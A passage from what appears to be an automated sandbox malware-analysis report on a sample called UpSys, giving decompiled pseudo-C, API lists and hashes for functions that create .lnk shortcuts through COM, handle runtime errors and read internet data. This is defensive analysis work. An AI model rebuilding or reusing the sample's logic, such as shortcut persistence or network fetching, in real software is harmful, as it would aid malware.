                                                                                                                                                                                                        • API String ID: 3953327650-468733193
                                                                                                                                                                                                        • Opcode ID: f5877b27b67002425b7cdfd73c81097e2fb3ef7dc2c040c6541b1036088b6cad
                                                                                                                                                                                                        • Instruction ID: c5794ae1a7e4eb0b4357af79dde69c6932e49c0093a9281ce111c27a62d30011
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f5877b27b67002425b7cdfd73c81097e2fb3ef7dc2c040c6541b1036088b6cad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3102CF7221868181EB72DB3BA4903EE67B1A7CD7C4F995412FB4A036FADA3DC546C311
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014008A1A0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197comCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E0000000114008A1A0(void* __ecx, void* __edx, void* __esi, intOrPtr* __rcx, void* __rdx, void* __r8, void* __r9, char _a8, intOrPtr _a16, void* _a32) {
				char _v568;
				char _v1096;
				char _v1624;
				char _v2152;
				char _v2680;
				long long _v2696;
				long long _v2704;
				long long _v2712;
				char _v2720;
				void* _v2728;
				signed int _v2744;
				signed int _v2752;
				signed int _v2760;
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t60;
				signed int _t61;
				signed int _t62;
				void* _t67;
				void* _t93;
				void* _t101;
				signed int _t113;
				intOrPtr* _t121;
				intOrPtr* _t122;
				intOrPtr* _t129;
				intOrPtr* _t130;
				intOrPtr _t134;
				void* _t192;
				intOrPtr* _t193;
				intOrPtr* _t194;
				intOrPtr* _t195;
				void* _t196;

				_t198 = __r8;
				_t101 = __edx;
				_t121 =  *((intOrPtr*)(__rdx + 8));
				_t195 = __rcx;
				_t196 = __r8;
				_t61 = E00000001140011960(_t60,  *_t121);
				r12d = 1;
				_t2 =  &_v2720; // 0x49
				r9d = r12d;
				_v2720 =  *_t121;
				_v2712 =  *((intOrPtr*)(_t121 + 8));
				_v2704 =  *((intOrPtr*)(_t121 + 0x10));
				_t122 =  *((intOrPtr*)(_t121 + 0x18));
				_v2696 = _t122;
				 *_t122 =  *_t122 + r12d;
				_t134 = _v2712;
				_t62 = _t61 | 0xffffffff;
				_v2744 = _t62;
				_v2752 = _t62;
				_v2760 = _t62;
				_t113 = _t122 + 3;
				r8d = _t113;
				E0000000114004EE70(__ecx, _t134, _t2, L".lnk", __rcx, __r8);
				if (_t122 != _t134) goto 0x4008a230;
				_t15 =  &_v2720; // 0x49
				E00000001140011830(_t134, _t15, L".lnk", __rcx, _t196);
				E00000001140012D80(_t101, _t122, _t134, _t196, 0x4009b6c0, _t195, _t198);
				r8d = 0;
				E0000000114000FCA0(r12d, _t122, _t134,  *((intOrPtr*)( *_t195 + 4)) + _t195, _t195);
				_t67 = E00000001140040F30(_t122 - _t134);
				if (_t67 == 0) goto 0x4008a4bc;
				__imp__CoInitialize();
				_t18 =  &_a32; // 0xb09
				r8d = r12d;
				_v2760 = _t18;
				__imp__CoCreateInstance();
				if (_t67 < 0) goto 0x4008a4b6;
				_t21 =  &_v2728; // 0x41
				_t199 = _t21;
				if ( *((intOrPtr*)( *_a32))() < 0) goto 0x4008a4a8;
				r8d = 0;
				if ( *((intOrPtr*)( *_v2728 + 0x28))() < 0) goto 0x4008a49d;
				r8d = 7;
				E00000001140012B40(r12d, _t196, _v2720, _t195, _t21, 0x40098170);
				r9d = 0;
				r8d = 0x104;
				_v2760 = _t113;
				 *((intOrPtr*)( *_a32 + 0x18))();
				r9d = 0;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, 0x40098170);
				_t29 =  &_v1096; // 0x6a1
				E00000001140012D80(0,  *_a32, _t134,  *_a32, _t29, _t195, _t21);
				r8d = 0x104;
				 *((intOrPtr*)( *_a32 + 0x40))();
				r9d = r12d;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, 0x40098170);
				_t33 =  &_v2680; // 0x71
				E00000001140012D80(0,  *_a32, _t134,  *_a32, _t33, _t195, _t21);
				r8d = 0x104;
				 *((intOrPtr*)( *_a32 + 0x50))();
				r9d = _t113;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, 0x40098170);
				_t37 =  &_v2152; // 0x281
				E00000001140012D80(0,  *_a32, _t134,  *_a32, _t37, _t195, _t21);
				r8d = 0x104;
				 *((intOrPtr*)( *_a32 + 0x30))();
				r9d = 3;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, 0x40098170);
				_t41 =  &_v1624; // 0x491
				E00000001140012D80(0,  *_a32, _t134,  *_a32, _t41, _t195, _t21);
				_t43 =  &_a8; // 0xaf1
				_t129 =  *_a32;
				r8d = 0x104;
				 *((intOrPtr*)(_t129 + 0x80))();
				r9d = 4;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, _t43);
				_t46 =  &_v568; // 0x8b1
				E00000001140012D80(0, _t129, _t134, _t129, _t46, _t195, _t199);
				r9d = 5;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t192, _t195, _t43);
				_t193 = _t129;
				E00000001140007A40(_t134, _t129, _t195);
				 *(_t193 + 8) = r12d;
				 *_t193 = _a8;
				_t130 =  *_a32;
				 *((intOrPtr*)(_t130 + 0x70))();
				r9d = 6;
				r8d = r12d;
				E00000001140011400(0, _t134, _t196, _t193, _t195, _t43);
				_t194 = _t130;
				E00000001140007A40(_t134, _t130, _t195);
				 *(_t194 + 8) = r12d;
				 *_t194 = _a16;
				r8d = 0;
				E0000000114000FCA0(0,  *_t195, _t134,  *((intOrPtr*)( *_t195 + 4)) + _t195, _t195);
				 *((intOrPtr*)( *_v2728 + 0x10))();
				_t93 =  *((intOrPtr*)( *_a32 + 0x10))();
				__imp__CoUninitialize();
				_t59 =  &_v2720; // 0x49
				E00000001140002610(_t93, _t134, _t59);
				return 0;
			}





































                                                                                                                                                                                                        0x14008a1a0
                                                                                                                                                                                                        0x14008a1a0
                                                                                                                                                                                                        0x14008a1ae
                                                                                                                                                                                                        0x14008a1b2
                                                                                                                                                                                                        0x14008a1b5
                                                                                                                                                                                                        0x14008a1bb
                                                                                                                                                                                                        0x14008a1c0
                                                                                                                                                                                                        0x14008a1c6
                                                                                                                                                                                                        0x14008a1ce
                                                                                                                                                                                                        0x14008a1d1
                                                                                                                                                                                                        0x14008a1da
                                                                                                                                                                                                        0x14008a1e3
                                                                                                                                                                                                        0x14008a1e8
                                                                                                                                                                                                        0x14008a1f3
                                                                                                                                                                                                        0x14008a1f8
                                                                                                                                                                                                        0x14008a1fb
                                                                                                                                                                                                        0x14008a200
                                                                                                                                                                                                        0x14008a203
                                                                                                                                                                                                        0x14008a207
                                                                                                                                                                                                        0x14008a20b
                                                                                                                                                                                                        0x14008a20f
                                                                                                                                                                                                        0x14008a212
                                                                                                                                                                                                        0x14008a215
                                                                                                                                                                                                        0x14008a21d
                                                                                                                                                                                                        0x14008a226
                                                                                                                                                                                                        0x14008a22b
                                                                                                                                                                                                        0x14008a23a
                                                                                                                                                                                                        0x14008a242
                                                                                                                                                                                                        0x14008a24f
                                                                                                                                                                                                        0x14008a259
                                                                                                                                                                                                        0x14008a260
                                                                                                                                                                                                        0x14008a268
                                                                                                                                                                                                        0x14008a26e
                                                                                                                                                                                                        0x14008a284
                                                                                                                                                                                                        0x14008a289
                                                                                                                                                                                                        0x14008a28e
                                                                                                                                                                                                        0x14008a296
                                                                                                                                                                                                        0x14008a2a4
                                                                                                                                                                                                        0x14008a2a4
                                                                                                                                                                                                        0x14008a2b7
                                                                                                                                                                                                        0x14008a2c7
                                                                                                                                                                                                        0x14008a2d2
                                                                                                                                                                                                        0x14008a2d8
                                                                                                                                                                                                        0x14008a2e4
                                                                                                                                                                                                        0x14008a301
                                                                                                                                                                                                        0x14008a304
                                                                                                                                                                                                        0x14008a307
                                                                                                                                                                                                        0x14008a30b
                                                                                                                                                                                                        0x14008a30e
                                                                                                                                                                                                        0x14008a311
                                                                                                                                                                                                        0x14008a319
                                                                                                                                                                                                        0x14008a31e
                                                                                                                                                                                                        0x14008a329
                                                                                                                                                                                                        0x14008a33e
                                                                                                                                                                                                        0x14008a341
                                                                                                                                                                                                        0x14008a344
                                                                                                                                                                                                        0x14008a347
                                                                                                                                                                                                        0x14008a34f
                                                                                                                                                                                                        0x14008a354
                                                                                                                                                                                                        0x14008a35c
                                                                                                                                                                                                        0x14008a374
                                                                                                                                                                                                        0x14008a377
                                                                                                                                                                                                        0x14008a37a
                                                                                                                                                                                                        0x14008a37d
                                                                                                                                                                                                        0x14008a385
                                                                                                                                                                                                        0x14008a38a
                                                                                                                                                                                                        0x14008a395
                                                                                                                                                                                                        0x14008a3ad
                                                                                                                                                                                                        0x14008a3b0
                                                                                                                                                                                                        0x14008a3b3
                                                                                                                                                                                                        0x14008a3b9
                                                                                                                                                                                                        0x14008a3c1
                                                                                                                                                                                                        0x14008a3c6
                                                                                                                                                                                                        0x14008a3d1
                                                                                                                                                                                                        0x14008a3de
                                                                                                                                                                                                        0x14008a3e6
                                                                                                                                                                                                        0x14008a3f1
                                                                                                                                                                                                        0x14008a3f4
                                                                                                                                                                                                        0x14008a3fa
                                                                                                                                                                                                        0x14008a400
                                                                                                                                                                                                        0x14008a408
                                                                                                                                                                                                        0x14008a40d
                                                                                                                                                                                                        0x14008a418
                                                                                                                                                                                                        0x14008a41d
                                                                                                                                                                                                        0x14008a423
                                                                                                                                                                                                        0x14008a42b
                                                                                                                                                                                                        0x14008a437
                                                                                                                                                                                                        0x14008a43d
                                                                                                                                                                                                        0x14008a442
                                                                                                                                                                                                        0x14008a446
                                                                                                                                                                                                        0x14008a458
                                                                                                                                                                                                        0x14008a45b
                                                                                                                                                                                                        0x14008a45e
                                                                                                                                                                                                        0x14008a464
                                                                                                                                                                                                        0x14008a46c
                                                                                                                                                                                                        0x14008a47b
                                                                                                                                                                                                        0x14008a47e
                                                                                                                                                                                                        0x14008a483
                                                                                                                                                                                                        0x14008a487
                                                                                                                                                                                                        0x14008a48c
                                                                                                                                                                                                        0x14008a498
                                                                                                                                                                                                        0x14008a4a5
                                                                                                                                                                                                        0x14008a4b3
                                                                                                                                                                                                        0x14008a4b6
                                                                                                                                                                                                        0x14008a4bc
                                                                                                                                                                                                        0x14008a4c1
                                                                                                                                                                                                        0x14008a4d5

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstanceUninitialize
                                                                                                                                                                                                        • String ID: .lnk
                                                                                                                                                                                                        • API String ID: 948891078-24824748
                                                                                                                                                                                                        • Opcode ID: 67ab1222bd277ecc211196139d597ed1676ee325ac745f5484e9a5b8a2e7f9dd
                                                                                                                                                                                                        • Instruction ID: 24b344a7c5b95150f105bfe5e239a57a160248a40f8a469d4650c1423930ab7e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 67ab1222bd277ecc211196139d597ed1676ee325ac745f5484e9a5b8a2e7f9dd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 23813872314A8182EB25DF2BE490BDAA761F7C9BC8F449025EF8947B69DF39C105CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140027824 Relevance: 6.1, APIs: 4, Instructions: 115COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 72%
                                                                                                                                                                                                        			E00000001140027824(void* __edi, void* __esi, intOrPtr* __rax, long long __rbx, signed long long* __rcx, intOrPtr* __rdx, long long __rsi, long long __rbp, signed long long __r8, void* __r9, void* __r11, long long _a8, long long _a16, long long _a24, long long _a40, intOrPtr _a48) {
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v40;
				char _v56;
				long long _v72;
				void* __rdi;
				intOrPtr* _t77;
				intOrPtr _t78;
				intOrPtr* _t79;
				signed long long _t80;
				intOrPtr* _t82;
				long long* _t84;
				intOrPtr* _t90;
				signed long long _t93;
				signed long long* _t95;
				long long _t103;
				void* _t107;
				long long _t110;

				_t107 = __r11;
				_t97 = __rbp;
				_t90 = __rdx;
				_t84 = __rcx;
				_t77 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r14d = 0;
				_t93 = __r8;
				_t82 = __rdx;
				_t95 = __rcx;
				if (__rdx != _t110) goto 0x4002785a;
				if (__r8 == _t110) goto 0x4002788a;
				goto 0x4002785f;
				if (__r8 - _t110 > 0) goto 0x40027886;
				E0000000114001EAE4(__r8 - _t110, __rax);
				r9d = 0;
				r8d = 0;
				 *__rax = 0x16;
				_v72 = _t110;
				E0000000114001EA14(__rax, __rdx, __rcx, __rdx, __rcx, __rbp, __r8);
				goto 0x400279b6;
				 *_t90 = r14w;
				if (_t84 == _t110) goto 0x40027892;
				 *_t84 = _t110;
				E00000001140016BCC(__rax,  &_v56, _a48);
				_t103 = _a40;
				_t104 =  >  ? _t93 : _t103;
				_t65 = ( >  ? _t93 : _t103) - 0x7fffffff;
				if (( >  ? _t93 : _t103) - 0x7fffffff <= 0) goto 0x400278f1;
				E0000000114001EAE4(( >  ? _t93 : _t103) - 0x7fffffff, _t77);
				r9d = 0;
				r8d = 0;
				 *_t77 = 0x16;
				_v72 = _t110;
				E0000000114001EA14(_t77, _t82,  &_v56, _a48, _t95, _t97,  >  ? _t93 : _t103);
				if (_v32 == r14b) goto 0x4002787f;
				_t78 = _v40;
				 *(_t78 + 0xc8) =  *(_t78 + 0xc8) & 0xfffffffd;
				goto 0x4002787f;
				E0000000114002761C(__edi, __esi, r14d, _t82, _t82, __r9, _t93, _t95,  >  ? _t93 : _t103,  &_v56, _t107);
				if (_t78 != 0xffffffff) goto 0x40027933;
				if (_t82 == _t110) goto 0x40027910;
				 *_t82 = r14w;
				E0000000114001EAE4(_t82 - _t110, _t78);
				if (_v32 == r14b) goto 0x400279b6;
				 *(_v40 + 0xc8) =  *(_v40 + 0xc8) & 0xfffffffd;
				goto 0x400279b6;
				_t79 = _t78 + 1;
				if (_t82 == _t110) goto 0x40027999;
				if (_t79 - _t93 <= 0) goto 0x40027993;
				if (_a40 == 0xffffffff) goto 0x4002798b;
				 *_t82 = r14w;
				E0000000114001EAE4(_a40 - 0xffffffff, _t79);
				r9d = 0;
				r8d = 0;
				 *_t79 = 0x22;
				_v72 = _t110;
				E0000000114001EA14(_t79, _t82, _v40, __r9, _t95, _t97,  >  ? _t93 : _t103);
				if (_v32 == r14b) goto 0x4002787f;
				 *(_v40 + 0xc8) =  *(_v40 + 0xc8) & 0xfffffffd;
				goto 0x4002787f;
				_t80 = _t93;
				 *((intOrPtr*)(_t82 + _t80 * 2 - 2)) = r14w;
				if (_t95 == _t110) goto 0x400279a1;
				 *_t95 = _t80;
				if (_v32 == r14b) goto 0x400279b4;
				 *(_v40 + 0xc8) =  *(_v40 + 0xc8) & 0xfffffffd;
				return 0x50;
			}





















                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027824
                                                                                                                                                                                                        0x140027829
                                                                                                                                                                                                        0x14002782e
                                                                                                                                                                                                        0x14002783c
                                                                                                                                                                                                        0x140027842
                                                                                                                                                                                                        0x140027845
                                                                                                                                                                                                        0x140027848
                                                                                                                                                                                                        0x140027851
                                                                                                                                                                                                        0x140027856
                                                                                                                                                                                                        0x140027858
                                                                                                                                                                                                        0x14002785d
                                                                                                                                                                                                        0x14002785f
                                                                                                                                                                                                        0x140027869
                                                                                                                                                                                                        0x14002786c
                                                                                                                                                                                                        0x140027873
                                                                                                                                                                                                        0x140027875
                                                                                                                                                                                                        0x14002787a
                                                                                                                                                                                                        0x140027881
                                                                                                                                                                                                        0x140027886
                                                                                                                                                                                                        0x14002788d
                                                                                                                                                                                                        0x14002788f
                                                                                                                                                                                                        0x14002789f
                                                                                                                                                                                                        0x1400278a4
                                                                                                                                                                                                        0x1400278af
                                                                                                                                                                                                        0x1400278b3
                                                                                                                                                                                                        0x1400278ba
                                                                                                                                                                                                        0x1400278bc
                                                                                                                                                                                                        0x1400278c6
                                                                                                                                                                                                        0x1400278c9
                                                                                                                                                                                                        0x1400278d0
                                                                                                                                                                                                        0x1400278d2
                                                                                                                                                                                                        0x1400278d7
                                                                                                                                                                                                        0x1400278e1
                                                                                                                                                                                                        0x1400278e3
                                                                                                                                                                                                        0x1400278e8
                                                                                                                                                                                                        0x1400278ef
                                                                                                                                                                                                        0x1400278fc
                                                                                                                                                                                                        0x140027905
                                                                                                                                                                                                        0x14002790a
                                                                                                                                                                                                        0x14002790c
                                                                                                                                                                                                        0x140027910
                                                                                                                                                                                                        0x14002791c
                                                                                                                                                                                                        0x140027927
                                                                                                                                                                                                        0x14002792e
                                                                                                                                                                                                        0x140027933
                                                                                                                                                                                                        0x140027939
                                                                                                                                                                                                        0x14002793e
                                                                                                                                                                                                        0x140027949
                                                                                                                                                                                                        0x14002794b
                                                                                                                                                                                                        0x14002794f
                                                                                                                                                                                                        0x140027959
                                                                                                                                                                                                        0x14002795c
                                                                                                                                                                                                        0x140027963
                                                                                                                                                                                                        0x140027965
                                                                                                                                                                                                        0x14002796a
                                                                                                                                                                                                        0x140027974
                                                                                                                                                                                                        0x14002797f
                                                                                                                                                                                                        0x140027986
                                                                                                                                                                                                        0x14002798b
                                                                                                                                                                                                        0x140027993
                                                                                                                                                                                                        0x14002799c
                                                                                                                                                                                                        0x14002799e
                                                                                                                                                                                                        0x1400279a6
                                                                                                                                                                                                        0x1400279ad
                                                                                                                                                                                                        0x1400279cf

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$DecodePointer
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2310398763-0
                                                                                                                                                                                                        • Opcode ID: 647f4cf8945e1c63eac116d67b522801c4320f17df46e7de2b499cc164bc0a06
                                                                                                                                                                                                        • Instruction ID: bd3638403ebae84209b0cfbdf0da06f3d2edf1d02bf6dc7cdb3a4c42609e7a26
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 647f4cf8945e1c63eac116d67b522801c4320f17df46e7de2b499cc164bc0a06
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 1341E63220478041E762DF2AE444BAE7260F7897E4F644229FBAD17BE5CE35C8818B01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002A2E0 Relevance: 4.5, APIs: 3, Instructions: 35COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 30%
                                                                                                                                                                                                        			E0000000114002A2E0(void* __edx, void* __rax, void* __rbx, void* __rcx, void* __rdi, void* __rsi, void* __rbp, void* __r9, void* __r13) {
				long long _v0;
				char _v1240;
				long long _v1384;
				char _v1400;
				long long _v1408;
				long long _v1416;
				void* _t17;
				void* _t37;
				void* _t42;
				void* _t46;
				void* _t52;

				_t48 = __rsi;
				_t42 = __rcx;
				_t41 = __rbx;
				_t37 = __rax;
				if (( *0x400aeb48 & 0x00000001) == 0) goto 0x4002a2fa;
				E0000000114001ED40(0xa, __rbx, __rdi, __r9, __r13);
				E0000000114001F5A4(0xa,  *0x400aeb48 & 0x00000001, _t37, _t41, _t46, __rsi, __rbp, _t52);
				if (_t37 == 0) goto 0x4002a30e;
				_t17 = E0000000114001F5B0(0x16, _t37, _t37, _t41, _t42, _t46, _t48, __rbp, _t52);
				if (( *0x400aeb48 & 0x00000002) == 0) goto 0x4002a376;
				__imp__RtlCaptureContext();
				r8d = 0x98;
				E00000001140017520(_t17, 0x16, 0,  &_v1400, _t46, _t52);
				_v1384 = _v0;
				_v1400 = 0x40000015;
				_v1416 =  &_v1400;
				_v1408 =  &_v1240;
				SetUnhandledExceptionFilter(??);
				UnhandledExceptionFilter(??);
				E000000011400172C8( &_v1240, _t46, _t52);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				if (3 - 0x30 < 0) goto 0x4002a515;
				if (3 - 0x3a >= 0) goto 0x4002a39e;
				return 0xffffffffffffffd3;
			}














                                                                                                                                                                                                        0x14002a2e0
                                                                                                                                                                                                        0x14002a2e0
                                                                                                                                                                                                        0x14002a2e0
                                                                                                                                                                                                        0x14002a2e0
                                                                                                                                                                                                        0x14002a2ee
                                                                                                                                                                                                        0x14002a2f5
                                                                                                                                                                                                        0x14002a2fa
                                                                                                                                                                                                        0x14002a302
                                                                                                                                                                                                        0x14002a309
                                                                                                                                                                                                        0x14002a315
                                                                                                                                                                                                        0x14002a31f
                                                                                                                                                                                                        0x14002a32c
                                                                                                                                                                                                        0x14002a332
                                                                                                                                                                                                        0x14002a341
                                                                                                                                                                                                        0x14002a34b
                                                                                                                                                                                                        0x14002a353
                                                                                                                                                                                                        0x14002a360
                                                                                                                                                                                                        0x14002a365
                                                                                                                                                                                                        0x14002a370
                                                                                                                                                                                                        0x14002a37b
                                                                                                                                                                                                        0x14002a380
                                                                                                                                                                                                        0x14002a381
                                                                                                                                                                                                        0x14002a382
                                                                                                                                                                                                        0x14002a383
                                                                                                                                                                                                        0x14002a38c
                                                                                                                                                                                                        0x14002a396
                                                                                                                                                                                                        0x14002a39d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • RtlCaptureContext.KERNEL32 ref: 000000014002A31F
                                                                                                                                                                                                        • SetUnhandledExceptionFilter.KERNEL32 ref: 000000014002A365
                                                                                                                                                                                                        • UnhandledExceptionFilter.KERNEL32 ref: 000000014002A370
                                                                                                                                                                                                          • Part of subcall function 000000014001ED40: GetModuleFileNameA.KERNEL32(?,?,?,?,?,000000014001EF9C,?,?,?,?,0000000140017CDD,?,?,00000000,000000014001D934), ref: 000000014001EE03
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ExceptionFilterUnhandled$CaptureContextFileModuleName
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2731829486-0
                                                                                                                                                                                                        • Opcode ID: 36ff8669df2fe100a5e1ae69e09847d6db9a1323477559a7159192fe40f64b37
                                                                                                                                                                                                        • Instruction ID: a57b524a155cdec14a5ce51b53b1b795c8ae7c5ea7897d3d857858eca31c86a2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 36ff8669df2fe100a5e1ae69e09847d6db9a1323477559a7159192fe40f64b37
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 66015231214E8582F7369B56F4557DA63A1EB8D384F040119BB8E07AF6DF3DC544CB11
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014004EA40 Relevance: 3.1, APIs: 2, Instructions: 65networkfileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Internet$AvailableDataFileQueryRead
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 599397726-0
                                                                                                                                                                                                        • Opcode ID: bb4a92870eaeea73f278dd4cfc91ddff58cea5ee52ceda29b04d020df2f5f38f
                                                                                                                                                                                                        • Instruction ID: 09b5751269d2c7346a60db9fb9c0b5d00171fef79e2f5b497f1ae50704461187
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bb4a92870eaeea73f278dd4cfc91ddff58cea5ee52ceda29b04d020df2f5f38f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C421CC3230469082FB59CB57E2647AB6760FB89BC4F114025FF4A07BA5CF39D841CB41
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006F660 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 48%
